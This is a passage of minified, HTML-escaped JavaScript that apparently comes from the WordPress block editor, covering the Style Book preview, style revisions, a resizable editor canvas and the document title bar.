		font-size: 13px;
		font-weight: normal;
		line-height: normal;
		margin: 0;
		text-align: left;
		padding-top: 8px;
		border-top: 1px solid color-mix( in srgb, currentColor 10%, transparent );
		color: color-mix( in srgb, currentColor 60%, transparent );
	}

	.editor-style-book__subcategory-title {
		font-size: 16px;
		margin-bottom: 40px;
    	padding-bottom: 8px;
	}

	.editor-style-book__example-preview {
		width: 100%;
	}

	.editor-style-book__example-preview .block-editor-block-list__insertion-point,
	.editor-style-book__example-preview .block-list-appender {
		display: none;
	}
	:where(.is-root-container &gt; .wp-block:first-child) {
		margin-top: 0;
	}
	:where(.is-root-container &gt; .wp-block:last-child) {
		margin-bottom: 0;
	}
`;var JG=s(Xe(),1);function Hb(e,t){if(!e?.slug||!t?.length)return;let r=e?.subcategories??[];if(r.length)return r.reduce((a,l)=&gt;{let c=Hb(l,t);return c&amp;&amp;(a.subcategories||(a.subcategories=[]),a.subcategories=[...a.subcategories,c]),a},{title:e.title,slug:e.slug});let o=e?.blocks||[],n=e?.exclude||[],i=t.filter(a=&gt;!n.includes(a.name)&amp;&amp;(a.category===e.slug||o.includes(a.name)));if(i.length)return{title:e.title,slug:e.slug,examples:i}}function n3(){let e=[...Jx,...o3].map(({slug:o})=&gt;o),r=(0,JG.getCategories)().filter(({slug:o})=&gt;!e.includes(o));return[...o3,...r]}var Ya=s(E(),1),jo=s(Xe(),1);var $G=s(A(),1),$x=s($(),1),i3=s(C(),1),Ewe=({colors:e,type:t,templateColumns:r=&quot;1fr 1fr&quot;,itemHeight:o=&quot;52px&quot;})=&gt;e?(0,i3.jsx)($G.__experimentalGrid,{templateColumns:r,rowGap:8,columnGap:16,children:e.map(n=&gt;{let i=t===&quot;gradients&quot;?(0,$x.__experimentalGetGradientClass)(n.slug):(0,$x.getColorClassName)(&quot;background-color&quot;,n.slug),a=re(&quot;editor-style-book__color-example&quot;,i);return(0,i3.jsx)(&quot;div&quot;,{className:a,style:{height:o}},n.slug)})}):null,s3=Ewe;var a3=s(A(),1),Kf=s(C(),1),Rwe=({duotones:e})=&gt;e?(0,Kf.jsx)(a3.__experimentalGrid,{columns:2,rowGap:16,columnGap:16,children:e.map(t=&gt;(0,Kf.jsxs)(a3.__experimentalGrid,{className:&quot;editor-style-book__duotone-example&quot;,columns:2,rowGap:8,columnGap:8,children:[(0,Kf.jsx)(&quot;div&quot;,{children:(0,Kf.jsx)(&quot;img&quot;,{alt:`Duotone example: ${t.slug}`,src:&quot;https://s.w.org/images/core/5.3/MtBlanc1.jpg&quot;,style:{filter:`url(#wp-duotone-${t.slug})`}})}),t.colors.map(r=&gt;(0,Kf.jsx)(&quot;div&quot;,{className:&quot;editor-style-book__color-example&quot;,style:{backgroundColor:r}},r))]},t.slug))}):null,eW=Rwe;var eC=s(C(),1);function Awe(e){if(!e)return[];let t=[];return Ch.forEach(r=&gt;{let o=e[r.type],n=Array.isArray(o)?o.find(i=&gt;i.slug===r.origin):void 0;if(n?.[r.type]){let i={name:r.slug,title:r.title,category:&quot;colors&quot;};r.type===&quot;duotones&quot;?(i.content=(0,eC.jsx)(eW,{duotones:n[r.type]}),t.push(i)):(i.content=(0,eC.jsx)(s3,{colors:n[r.type],type:r.type}),t.push(i))}}),t}function Owe(e){let t=[],r=Array.isArray(e?.colors)?e.colors.find(i=&gt;i.slug===&quot;theme&quot;):void 0;if(r){let i={name:&quot;theme-colors&quot;,title:(0,Ya.__)(&quot;Colors&quot;),category:&quot;overview&quot;,content:(0,eC.jsx)(s3,{colors:r.colors,type:&quot;colors&quot;,templateColumns:&quot;repeat(auto-fill, minmax( 200px, 1fr ))&quot;,itemHeight:&quot;32px&quot;})};t.push(i)}let o=[];if((0,jo.getBlockType)(&quot;core/heading&quot;)){let i=(0,jo.createBlock)(&quot;core/heading&quot;,{content:(0,Ya.__)(&quot;AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789X{(\u2026)},.-&lt;&gt;?!*&amp;:/A@HELFO\u2122\xA9&quot;),level:1});o.push(i)}if((0,jo.getBlockType)(&quot;core/paragraph&quot;)){let i=(0,jo.createBlock)(&quot;core/paragraph&quot;,{content:(0,Ya.__)(&quot;A paragraph in a website refers to a distinct block of text that is used to present and organize information. It is a fundamental unit of content in web design and is typically composed of a group of related sentences or thoughts focused on a particular topic or idea. Paragraphs play a crucial role in improving the readability and user experience of a website. They break down the text into smaller, manageable chunks, allowing readers to scan the content more easily.&quot;)}),a=(0,jo.createBlock)(&quot;core/paragraph&quot;,{content:(0,Ya.__)(&quot;Additionally, paragraphs help structure the flow of information and provide logical breaks between different concepts or pieces of information. In terms of formatting, paragraphs in websites are commonly denoted by a vertical gap or indentation between each block of text. This visual separation helps visually distinguish one paragraph from another, creating a clear and organized layout that guides the reader through the content smoothly.&quot;)});if((0,jo.getBlockType)(&quot;core/group&quot;)){let l=(0,jo.createBlock)(&quot;core/group&quot;,{layout:{type:&quot;grid&quot;,columnCount:2,minimumColumnWidth:&quot;12rem&quot;},style:{spacing:{blockGap:&quot;1.5rem&quot;}}},[i,a]);o.push(l)}else o.push(i)}return o.length&amp;&amp;t.push({name:&quot;typography&quot;,title:(0,Ya.__)(&quot;Typography&quot;),category:&quot;overview&quot;,blocks:o}),[&quot;core/image&quot;,&quot;core/separator&quot;,&quot;core/buttons&quot;,&quot;core/pullquote&quot;,&quot;core/search&quot;].forEach(i=&gt;{let a=(0,jo.getBlockType)(i);if(a&amp;&amp;a.example){let l={name:i,title:a.title,category:&quot;overview&quot;,blocks:(0,jo.getBlockFromExample)(i,{...a.example,attributes:{...a.example.attributes,style:void 0}})};t.push(l)}}),t}function l3(e){let t=(0,jo.getBlockTypes)().filter(a=&gt;{let{name:l,example:c,supports:u}=a;return l!==&quot;core/heading&quot;&amp;&amp;!!c&amp;&amp;u?.inserter!==!1}).map(a=&gt;({name:a.name,title:a.title,category:a.category,blocks:(0,jo.getBlockFromExample)(a.name,{...a.example,attributes:{...a.example.attributes,style:void 0}})}));if(!!!(0,jo.getBlockType)(&quot;core/heading&quot;))return t;let o={name:&quot;core/heading&quot;,title:(0,Ya.__)(&quot;Headings&quot;),category:&quot;text&quot;,blocks:[1,2,3,4,5,6].map(a=&gt;(0,jo.createBlock)(&quot;core/heading&quot;,{content:(0,Ya.sprintf)((0,Ya.__)(&quot;Heading %d&quot;),a),level:a}))},n=Awe(e),i=Owe(e);return[o,...n,...t,...i]}var nW=s(D(),1),rC=s(O(),1);var tC=s(Xe(),1),tW=s(O(),1),rW=s(D(),1);function Th(e={},t=!1){let o=Q6(&quot;spacing.blockGap&quot;)!==null,n=!o,{disableLayoutStyles:i,getBlockStyles:a}=(0,tW.useSelect)(l=&gt;{let{getEditorSettings:c}=l(w),{getBlockStyles:u}=l(tC.store);return{disableLayoutStyles:!!c()?.disableLayoutStyles,getBlockStyles:u}},[]);return(0,rW.useMemo)(()=&gt;{if(!e?.styles||!e?.settings)return[[],{}];let l=(0,tC.getBlockTypes)();return jy(e,l,{hasBlockGapSupport:o,hasFallbackGapSupport:n,disableLayoutStyles:i,disableRootPadding:t,getBlockStyles:a})},[o,n,e,i,t,a])}function oW(e=!1){let{merged:t}=xo();return Th(t,e)}function Iwe(e){let[t,r]=oW(e),{getEditorSettings:o}=(0,rC.useSelect)(w),{updateEditorSettings:n}=(0,rC.useDispatch)(w);(0,nW.useEffect)(()=&gt;{if(!t||!r)return;let i=o(),a=Object.values(i.styles??[]).filter(l=&gt;!l.isGlobalStyles);n({...i,styles:[...a,...t],__experimentalFeatures:r})},[t,r,n,o])}function oC({disableRootPadding:e}){return Iwe(e),null}var ot=s(C(),1),{ExperimentalBlockEditorProvider:Nwe}=N(so.privateApis),{Tabs:nC}=N(cc.privateApis);function Wu(e){return!e||Object.keys(e).length===0}var Fwe=(e,t)=&gt;{if(!e||!t||!t?.contentDocument)return;let r=e===&quot;top&quot;?t.contentDocument.body:t.contentDocument.getElementById(e);r&amp;&amp;r.scrollIntoView({behavior:&quot;smooth&quot;})},aW=e=&gt;e&amp;&amp;typeof e==&quot;string&quot;&amp;&amp;(e===&quot;/&quot;||e.startsWith(&quot;/typography&quot;)||e.startsWith(&quot;/colors&quot;)||e.startsWith(&quot;/blocks&quot;))?{top:!0}:null;function lW(){let{colors:e,gradients:t}=(0,so.__experimentalUseMultipleOriginColorsAndGradients)(),[r,o,n,i]=(0,so.useSettings)(&quot;color.defaultDuotone&quot;,&quot;color.duotone.custom&quot;,&quot;color.duotone.theme&quot;,&quot;color.duotone.default&quot;);return(0,Gt.useMemo)(()=&gt;{let l={colors:e,gradients:t,duotones:[]};return n&amp;&amp;n.length&amp;&amp;l.duotones.push({name:(0,ea._x)(&quot;Theme&quot;,&quot;Indicates these duotone filters come from the theme.&quot;),slug:&quot;theme&quot;,duotones:n}),r&amp;&amp;i&amp;&amp;i.length&amp;&amp;l.duotones.push({name:(0,ea._x)(&quot;Default&quot;,&quot;Indicates these duotone filters come from WordPress.&quot;),slug:&quot;default&quot;,duotones:i}),o&amp;&amp;o.length&amp;&amp;l.duotones.push({name:(0,ea._x)(&quot;Custom&quot;,&quot;Indicates these doutone filters are created by the user.&quot;),slug:&quot;custom&quot;,duotones:o}),l},[e,t,o,n,i,r])}function cW(e){let t=[],r=Hb({slug:&quot;overview&quot;},e);t.push(...r.examples);let o=e.filter(n=&gt;n.category!==&quot;overview&quot;&amp;&amp;!r.examples.find(i=&gt;i.name===n.name));return t.push(...o),t}function Dwe(e,t){return t?e.map(r=&gt;({...r,variation:t,blocks:Array.isArray(r.blocks)?r.blocks.map(o=&gt;({...o,attributes:{...o.attributes,style:void 0,className:`is-style-${t}`}})):{...r.blocks,attributes:{...r.blocks.attributes,style:void 0,className:`is-style-${t}`}}})):e}function Bwe({isSelected:e,onClick:t,onSelect:r,showTabs:o=!0,userConfig:n={},path:i=&quot;&quot;},a){let l=Hu(&quot;color.text&quot;),c=Hu(&quot;color.background&quot;),u=lW(),d=(0,Gt.useMemo)(()=&gt;l3(u),[u]),f=(0,Gt.useMemo)(()=&gt;n3().filter(S=&gt;d.some(x=&gt;x.category===S.slug)),[d]),m=cW(d),{base:h}=xo(),g=aW(i),v=(0,Gt.useMemo)(()=&gt;!Wu(n)&amp;&amp;!Wu(h)?go(h,n):{},[h,n]),y=(0,Xf.useSelect)(S=&gt;S(so.store).getSettings(),[]),[b]=Th(v),_=(0,Gt.useMemo)(()=&gt;({...y,styles:!Wu(b)&amp;&amp;!Wu(n)?b:y.styles,isPreviewMode:!0}),[b,y,n]);return(0,ot.jsx)(&quot;div&quot;,{ref:a,className:re(&quot;editor-style-book&quot;,{&quot;is-button&quot;:!!t}),style:{color:l,background:c},children:o?(0,ot.jsxs)(nC,{children:[(0,ot.jsx)(&quot;div&quot;,{className:&quot;editor-style-book__tablist-container&quot;,children:(0,ot.jsx)(nC.TabList,{children:f.map(S=&gt;(0,ot.jsx)(nC.Tab,{tabId:S.slug,children:S.title},S.slug))})}),f.map(S=&gt;{let x=S.slug?n3().find(R=&gt;R.slug===S.slug):null,T=x?Hb(x,d):{examples:d};return(0,ot.jsx)(nC.TabPanel,{tabId:S.slug,focusable:!1,className:&quot;editor-style-book__tabpanel&quot;,children:(0,ot.jsx)(c3,{category:S.slug,examples:T,isSelected:e,onSelect:r,settings:_,title:S.title,goTo:g})},S.slug)})]}):(0,ot.jsx)(c3,{examples:{examples:m},isSelected:e,onClick:t,onSelect:r,settings:_,goTo:g})})}var uW=({userConfig:e={},isStatic:t=!1,path:r,onPathChange:o,settings:n})=&gt;{let i=(0,Xf.useSelect)(L=&gt;n??L(w).getEditorSettings(),[n]),a=(0,Xf.useSelect)(L=&gt;L(sW.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;attachment&quot;}),[]);(0,Gt.useEffect)(()=&gt;{(0,Xf.dispatch)(so.store).updateSettings({...i,mediaUpload:a?iW.uploadMedia:void 0})},[i,a]);let[l,c]=(0,Gt.useState)(&quot;/&quot;),u=r??l,d=o??c,f=L=&gt;u===`/blocks/${encodeURIComponent(L)}`||u.startsWith(`/blocks/${encodeURIComponent(L)}/`),m=(L,M=!1)=&gt;{if(Ch.find(k=&gt;k.slug===L)){d(&quot;/colors/palette&quot;);return}if(L===&quot;typography&quot;){d(&quot;/typography&quot;);return}M||d(`/blocks/${encodeURIComponent(L)}`)},h=lW(),g=l3(h),v=cW(g),y=null,b=null;if(u.includes(&quot;/colors&quot;))y=&quot;colors&quot;;else if(u.includes(&quot;/typography&quot;))y=&quot;text&quot;;else if(u.includes(&quot;/blocks&quot;)){y=&quot;blocks&quot;;let L=decodeURIComponent(u).split(&quot;/blocks/&quot;)[1];L?.includes(&quot;/variations&quot;)&amp;&amp;([L,b]=L.split(&quot;/variations/&quot;)),L&amp;&amp;g.find(M=&gt;M.name===L)&amp;&amp;(y=L)}else t||(y=&quot;overview&quot;);let _=XG.find(L=&gt;L.slug===y),S=(0,Gt.useMemo)(()=&gt;_?Hb(_,g):{examples:[g.find(L=&gt;L.name===y)]},[_,g,y]),x=(0,Gt.useMemo)(()=&gt;y?b?{examples:Dwe(S.examples,b)}:S:{examples:v},[y,v,b,S]),{base:T}=xo(),R=aW(u),F=(0,Gt.useMemo)(()=&gt;!Wu(e)&amp;&amp;!Wu(T)?go(T,e):{},[T,e]),[B]=Th(F),z=(0,Gt.useMemo)(()=&gt;({...i,styles:!Wu(B)&amp;&amp;!Wu(e)?B:i.styles,isPreviewMode:!0}),[B,i,e]);return(0,ot.jsx)(&quot;div&quot;,{className:&quot;editor-style-book&quot;,children:(0,ot.jsxs)(so.BlockEditorProvider,{settings:z,children:[(0,ot.jsx)(oC,{disableRootPadding:!0}),(0,ot.jsx)(c3,{examples:x,settings:z,goTo:R,isSelected:t?null:f,onSelect:t?null:m})]})})},c3=({examples:e,isSelected:t,onClick:r,onSelect:o,settings:n,title:i,goTo:a})=&gt;{let[l,c]=(0,Gt.useState)(!1),[u,d]=(0,Gt.useState)(!1),f=(0,Gt.useRef)(null),m={role:&quot;button&quot;,onFocus:()=&gt;c(!0),onBlur:()=&gt;c(!1),onKeyDown:g=&gt;{if(g.defaultPrevented)return;let{keyCode:v}=g;r&amp;&amp;(v===iC.ENTER||v===iC.SPACE)&amp;&amp;(g.preventDefault(),r(g))},onClick:g=&gt;{g.defaultPrevented||r&amp;&amp;(g.preventDefault(),r(g))},readonly:!0},h=()=&gt;d(!0);return(0,Gt.useLayoutEffect)(()=&gt;{u&amp;&amp;f.current&amp;&amp;a?.top&amp;&amp;Fwe(&quot;top&quot;,f.current)},[a?.top,u]),(0,ot.jsxs)(so.__unstableIframe,{onLoad:h,ref:f,className:re(&quot;editor-style-book__iframe&quot;,{&quot;is-focused&quot;:l&amp;&amp;!!r,&quot;is-button&quot;:!!r}),name:&quot;style-book-canvas&quot;,tabIndex:0,...r?m:{},children:[(0,ot.jsx)(so.__unstableEditorStyles,{styles:n.styles}),(0,ot.jsxs)(&quot;style&quot;,{children:[QG,!!r&amp;&amp;&quot;body { cursor: pointer; } body * { pointer-events: none; }&quot;]}),(0,ot.jsx)(Mwe,{className:&quot;editor-style-book__examples&quot;,filteredExamples:e,label:i?(0,ea.sprintf)((0,ea.__)(&quot;Examples of blocks in the %s category&quot;),i):(0,ea.__)(&quot;Examples of blocks&quot;),isSelected:t,onSelect:o},i)]})},Mwe=(0,Gt.memo)(({className:e,filteredExamples:t,label:r,isSelected:o,onSelect:n})=&gt;(0,ot.jsxs)(cc.Composite,{orientation:&quot;vertical&quot;,className:e,&quot;aria-label&quot;:r,role:&quot;grid&quot;,children:[!!t?.examples?.length&amp;&amp;t.examples.map(i=&gt;(0,ot.jsx)(dW,{id:`example-${i.name}`,title:i.title,content:i.content,blocks:i.blocks,isSelected:o?.(i.name),onClick:n?()=&gt;n(i.name,!!i.variation):null},i.name)),!!t?.subcategories?.length&amp;&amp;t.subcategories.map(i=&gt;(0,ot.jsxs)(cc.Composite.Group,{className:&quot;editor-style-book__subcategory&quot;,children:[(0,ot.jsx)(cc.Composite.GroupLabel,{children:(0,ot.jsx)(&quot;h2&quot;,{className:&quot;editor-style-book__subcategory-title&quot;,children:i.title})}),(0,ot.jsx)(Lwe,{examples:i.examples,isSelected:o,onSelect:n})]},`subcategory-${i.slug}`))]})),Lwe=({examples:e,isSelected:t,onSelect:r})=&gt;!!e?.length&amp;&amp;e.map(o=&gt;(0,ot.jsx)(dW,{id:`example-${o.name}`,title:o.title,content:o.content,blocks:o.blocks,isSelected:t?.(o.name),onClick:r?()=&gt;r(o.name):null},o.name)),Vwe=[&quot;example-duotones&quot;],dW=({id:e,title:t,blocks:r,isSelected:o,onClick:n,content:i})=&gt;{let a=(0,Xf.useSelect)(d=&gt;d(so.store).getSettings(),[]),l=(0,Gt.useMemo)(()=&gt;({...a,focusMode:!1,isPreviewMode:!0}),[a]),c=(0,Gt.useMemo)(()=&gt;Array.isArray(r)?r:[r],[r]),u=Vwe.includes(e)||!n?{disabled:!0,accessibleWhenDisabled:!!n}:{};return(0,ot.jsx)(&quot;div&quot;,{role:&quot;row&quot;,children:(0,ot.jsx)(&quot;div&quot;,{role:&quot;gridcell&quot;,children:(0,ot.jsxs)(cc.Composite.Item,{className:re(&quot;editor-style-book__example&quot;,{&quot;is-selected&quot;:o,&quot;is-disabled-example&quot;:!!u?.disabled}),id:e,&quot;aria-label&quot;:n?(0,ea.sprintf)((0,ea.__)(&quot;Open %s styles in Styles panel&quot;),t):void 0,render:(0,ot.jsx)(&quot;div&quot;,{}),role:n?&quot;button&quot;:null,onClick:n,...u,children:[(0,ot.jsx)(&quot;span&quot;,{className:&quot;editor-style-book__example-title&quot;,children:t}),(0,ot.jsx)(&quot;div&quot;,{className:&quot;editor-style-book__example-preview&quot;,&quot;aria-hidden&quot;:!0,children:(0,ot.jsx)(cc.Disabled,{className:&quot;editor-style-book__example-preview__content&quot;,children:i||(0,ot.jsxs)(Nwe,{value:c,settings:l,children:[(0,ot.jsx)(so.__unstableEditorStyles,{}),(0,ot.jsx)(so.BlockList,{renderAppender:!1})]})})})]})})})},fW=(0,Gt.forwardRef)(Bwe);var pW=s(C(),1);function jwe({path:e,onPathChange:t},r){return(0,pW.jsx)(fW,{ref:r,isSelected:o=&gt;e===`/blocks/${encodeURIComponent(o)}`||e?.startsWith(`/blocks/${encodeURIComponent(o)}/`),onSelect:o=&gt;{if(Ch.find(n=&gt;n.slug===o)){t?.(&quot;/colors/palette&quot;);return}if(o===&quot;typography&quot;){t?.(&quot;/typography&quot;);return}t?.(&quot;/blocks/&quot;+encodeURIComponent(o))}})}var hW=(0,mW.forwardRef)(jwe);var gW=s(A(),1),ta=s($(),1),u3=s(O(),1),Yu=s(D(),1);var uc=s(C(),1),{ExperimentalBlockEditorProvider:zwe,__unstableBlockStyleVariationOverridesWithConfig:Uwe}=N(ta.privateApis);function sC(e){return!e||Object.keys(e).length===0}function Hwe({path:e},t){let r=(0,u3.useSelect)(y=&gt;y(ta.store).getBlocks(),[]),{user:o,base:n}=xo(),{revisions:i,isLoading:a}=Lb(),l=(0,Yu.useMemo)(()=&gt;{let y=e?.match(/^\/revisions\/(.+)$/);return y?y[1]:null},[e]),u=(0,Yu.useMemo)(()=&gt;!l||!i.length?null:i.find(y=&gt;String(y.id)===String(l)),[l,i])||o,d=(0,Yu.useMemo)(()=&gt;!sC(u)&amp;&amp;!sC(n)?go(n,u):{},[n,u]),f=(0,Yu.useMemo)(()=&gt;Array.isArray(r)?r:[r],[r]),m=(0,u3.useSelect)(y=&gt;y(ta.store).getSettings(),[]),h=(0,Yu.useMemo)(()=&gt;({...m,isPreviewMode:!0}),[m]),[g]=Th(d),v=!sC(g)&amp;&amp;!sC(u)?g:h.styles;return a?null:(0,uc.jsxs)(ta.__unstableIframe,{ref:t,className:&quot;editor-revisions__iframe&quot;,name:&quot;revisions&quot;,tabIndex:0,children:[(0,uc.jsx)(&quot;style&quot;,{children:&quot;.is-root-container { display: flow-root; }&quot;}),(0,uc.jsx)(gW.Disabled,{className:&quot;editor-revisions__example-preview__content&quot;,children:(0,uc.jsxs)(zwe,{value:f,settings:h,children:[(0,uc.jsx)(ta.BlockList,{renderAppender:!1}),(0,uc.jsx)(ta.__unstableEditorStyles,{styles:v}),(0,uc.jsx)(Uwe,{config:d})]})})]})}var vW=(0,Yu.forwardRef)(Hwe);var kh=s(D(),1),SW=s(A(),1);var aC=s(E(),1),qu=s(yo(),1),Ph=s(A(),1),Zu=s(C(),1),yW=20;function d3({direction:e,resizeWidthBy:t}){function r(i){let{keyCode:a}=i;a!==qu.LEFT&amp;&amp;a!==qu.RIGHT||(i.preventDefault(),e===&quot;left&quot;&amp;&amp;a===qu.LEFT||e===&quot;right&quot;&amp;&amp;a===qu.RIGHT?t(yW):(e===&quot;left&quot;&amp;&amp;a===qu.RIGHT||e===&quot;right&quot;&amp;&amp;a===qu.LEFT)&amp;&amp;t(-yW))}let o={active:{opacity:1,scaleY:1.3}},n=`resizable-editor__resize-help-${e}`;return(0,Zu.jsxs)(Zu.Fragment,{children:[(0,Zu.jsx)(Ph.Tooltip,{text:(0,aC.__)(&quot;Drag to resize&quot;),children:(0,Zu.jsx)(Ph.__unstableMotion.button,{className:`editor-resizable-editor__resize-handle is-${e}`,&quot;aria-label&quot;:(0,aC.__)(&quot;Drag to resize&quot;),&quot;aria-describedby&quot;:n,onKeyDown:r,variants:o,whileFocus:&quot;active&quot;,whileHover:&quot;active&quot;,whileTap:&quot;active&quot;,role:&quot;separator&quot;,&quot;aria-orientation&quot;:&quot;vertical&quot;},&quot;handle&quot;)}),(0,Zu.jsx)(Ph.VisuallyHidden,{id:n,children:(0,aC.__)(&quot;Use left and right arrow keys to resize the canvas.&quot;)})]})}var lC=s(C(),1),bW={position:void 0,userSelect:void 0,cursor:void 0,width:void 0,height:void 0,top:void 0,right:void 0,bottom:void 0,left:void 0};function Gwe({className:e,enableResizing:t,height:r,children:o}){let[n,i]=(0,kh.useState)(&quot;100%&quot;),a=(0,kh.useRef)(),l=(0,kh.useCallback)(c=&gt;{a.current&amp;&amp;i(a.current.offsetWidth+c)},[]);return(0,lC.jsx)(SW.ResizableBox,{className:re(&quot;editor-resizable-editor&quot;,e,{&quot;is-resizable&quot;:t}),ref:c=&gt;{a.current=c?.resizable},size:{width:t?n:&quot;100%&quot;,height:t&amp;&amp;r?r:&quot;100%&quot;},onResizeStop:(c,u,d)=&gt;{i(d.style.width)},minWidth:300,maxWidth:&quot;100%&quot;,maxHeight:&quot;100%&quot;,enable:{left:t,right:t},showHandle:t,resizeRatio:2,handleComponent:{left:(0,lC.jsx)(d3,{direction:&quot;left&quot;,resizeWidthBy:l}),right:(0,lC.jsx)(d3,{direction:&quot;right&quot;,resizeWidthBy:l})},handleClasses:void 0,handleStyles:{left:bW,right:bW},children:o})}var Eh=Gwe;var Ku=s(C(),1);function f3(e,t){return t?(0,cC.__)(&quot;Style Book&quot;):e?.startsWith(&quot;/revisions&quot;)?(0,cC.__)(&quot;Style Revisions&quot;):&quot;&quot;}function CW(){let{stylesPath:e,showStylebook:t,showListViewByDefault:r}=(0,Gb.useSelect)(m=&gt;{let{getStylesPath:h,getShowStylebook:g}=N(m(w)),v=m(xW.store).get(&quot;core&quot;,&quot;showListViewByDefault&quot;);return{stylesPath:h(),showStylebook:g(),showListViewByDefault:v}},[]),{resetStylesNavigation:o,setStylesPath:n}=N((0,Gb.useDispatch)(w)),{setIsListViewOpened:i}=(0,Gb.useDispatch)(w),a=(0,uC.useFocusOnMount)(&quot;firstElement&quot;),l=(0,uC.useFocusReturn)(),c=null;t?c=(0,Ku.jsx)(hW,{path:e,onPathChange:n,ref:l}):e?.startsWith(&quot;/revisions&quot;)&amp;&amp;(c=(0,Ku.jsx)(vW,{path:e,ref:l}));let u=f3(e,t),d=()=&gt;{i(r),o()};return(0,Ku.jsx)(&quot;div&quot;,{className:&quot;editor-styles-canvas&quot;,children:(0,Ku.jsx)(Eh,{enableResizing:!1,children:(0,Ku.jsxs)(&quot;section&quot;,{className:&quot;editor-styles-canvas__section&quot;,ref:a,onKeyDown:m=&gt;{m.keyCode===wW.ESCAPE&amp;&amp;!m.defaultPrevented&amp;&amp;(m.preventDefault(),d())},&quot;aria-label&quot;:u,children:[(0,Ku.jsx)(_W.Button,{size:&quot;compact&quot;,className:&quot;editor-styles-canvas__close-button&quot;,icon:Kn,label:(0,cC.__)(&quot;Close&quot;),onClick:d}),c]})})})}var TW=s(O(),1),m3=s(ft(),1),p3=s($(),1),PW=s(W(),1);function kW(){return(0,TW.useSelect)(e=&gt;{let{getBlockAttributes:t,getBlockName:r,__experimentalGetParsedPattern:o}=e(p3.store),{getEditedEntityRecord:n,getCurrentTheme:i}=e(PW.store),{getEditedContentOnlySection:a}=N(e(p3.store)),l=a();if(!l)return null;let c=t(l),u=c?.metadata?.patternName;if(u){let f=typeof o==&quot;function&quot;?o(u):null;return{patternName:u,patternTitle:f?.title||c?.metadata?.name,type:&quot;pattern&quot;}}let d=r(l);if(d===&quot;core/block&quot;&amp;&amp;c?.ref){let f=n(&quot;postType&quot;,&quot;wp_block&quot;,c.ref);if(f?.title)return{patternName:c.ref,patternTitle:(0,m3.decodeEntities)(f.title),type:&quot;synced-pattern&quot;}}if(d===&quot;core/template-part&quot;&amp;&amp;c?.slug){let f=c.theme||i()?.stylesheet,m=f?`${f}//${c.slug}`:null;if(m){let h=n(&quot;postType&quot;,&quot;wp_template_part&quot;,m);if(h?.title)return{patternName:c.slug,patternTitle:(0,m3.decodeEntities)(h.title),type:&quot;template-part&quot;}}}return null},[])}var ln=s(C(),1),Wwe=ra.__unstableMotion.create(ra.Button);function fC(e){let{stopEditingContentOnlySection:t}=N((0,Wb.useDispatch)(Yb.store)),r=kW(),{postId:o,postType:n,postTypeLabel:i,documentTitle:a,isNotFound:l,templateTitle:c,onNavigateToPreviousEntityRecord:u,isTemplatePreview:d,stylesCanvasTitle:f}=(0,Wb.useSelect)(R=&gt;{let{getCurrentPostType:F,getCurrentPostId:B,getEditorSettings:z,getRenderingMode:L}=R(w),{getEditedEntityRecord:M,getPostType:k,getCurrentTheme:I,isResolving:U}=R(RW.store),G=F(),Y=B(),Z=M(&quot;postType&quot;,G,Y),{default_template_types:V=[]}=I()??{},j=Zi({templateTypes:V,template:Z}),H=k(G)?.labels?.singular_name,{getStylesPath:X,getShowStylebook:ae}=N(R(w)),ne=X(),ue=ae(),Ye=f3(ne,ue);return{postId:Y,postType:G,postTypeLabel:H,documentTitle:Z.title,isNotFound:!Z&amp;&amp;!U(&quot;getEditedEntityRecord&quot;,&quot;postType&quot;,G,Y),templateTitle:j.title,onNavigateToPreviousEntityRecord:z().onNavigateToPreviousEntityRecord,isTemplatePreview:L()===&quot;template-locked&quot;,stylesCanvasTitle:Ye}},[]),{open:m}=(0,Wb.useDispatch)(AW.store),h=(0,OW.useReducedMotion)(),g=sR.includes(n),v=!!u||!!r,y=g?c:a,b=r?.patternTitle||e.title||f||y,_=e.icon,S=R=&gt;{R.stopPropagation(),r?t():u&amp;&amp;u()},x=Qx(o),T=(0,dC.useRef)(!1);return(0,dC.useEffect)(()=&gt;{T.current=!0},[]),(0,ln.jsxs)(&quot;div&quot;,{className:re(&quot;editor-document-bar&quot;,{&quot;has-back-button&quot;:v}),children:[(0,ln.jsx)(ra.__unstableAnimatePresence,{children:v&amp;&amp;(0,ln.jsx)(Wwe,{className:&quot;editor-document-bar__back&quot;,icon:(0,Xu.isRTL)()?CR:_R,onClick:S,size:&quot;compact&quot;,initial:T.current?{opacity:0,transform:&quot;translateX(15%)&quot;}:!1,animate:{opacity:1,transform:&quot;translateX(0%)&quot;},exit:{opacity:0,transform:&quot;translateX(15%)&quot;},transition:h?{duration:0}:void 0,children:(0,Xu.__)(&quot;Back&quot;)})}),!g&amp;&amp;d&amp;&amp;!v&amp;&amp;(0,ln.jsx)(Yb.BlockIcon,{icon:Bs,className:&quot;editor-document-bar__icon-layout&quot;}),l?(0,ln.jsx)(ra.__experimentalText,{children:(0,Xu.__)(&quot;Document not found&quot;)}):(0,ln.jsxs)(ra.Button,{className:&quot;editor-document-bar__command&quot;,onClick:()=&gt;m(),size:&quot;compact&quot;,children:[(0,ln.jsxs)(ra.__unstableMotion.div,{className:&quot;editor-document-bar__title&quot;,initial:T.current?{opacity:0,transform:v?&quot;translateX(15%)&quot;:&quot;translateX(-15%)&quot;}:!1,animate:{opacity:1,transform:&quot;translateX(0%)&quot;},transition:h?{duration:0}:void 0,children:[_&amp;&amp;(0,ln.jsx)(Yb.BlockIcon,{icon:_}),(0,ln.jsxs)(ra.__experimentalText,{size:&quot;body&quot;,as:&quot;h1&quot;,children:[(0,ln.jsx)(&quot;span&quot;,{className:&quot;editor-document-bar__post-title&quot;,children:b?(0,NW.__unstableStripHTML)(b):(0,Xu.__)(&quot;No title&quot;)}),r&amp;&amp;(0,ln.jsx)(&quot;span&quot;,{className:&quot;editor-document-bar__post-type-label&quot;,children:r.type===&quot;template-part&quot;?`\xB7 ${(0,Xu.__)(&quot;Template Part&quot;)}`:`\xB7 ${(0,Xu.__)(&quot;Pattern&quot;)}`}),!r&amp;&amp;x&amp;&amp;(0,ln.jsx)(&quot;span&quot;,{className:&quot;editor-document-bar__post-type-label&quot;,children:`\xB7 ${x}`}),!r&amp;&amp;i&amp;&amp;!e.title&amp;&amp;!x&amp;&amp;(0,ln.jsx)(&quot;span&quot;,{className:&quot;editor-document-bar__post-type-label&quot;,children:`\xB7 ${(0,IW.decodeEntities)(i)}`})]})]},v),(0,ln.jsx)(&quot;span&quot;,{className:&quot;editor-document-bar__shortcut&quot;,children:EW.displayShortcut.primary(&quot;k&quot;)})]})]})}var 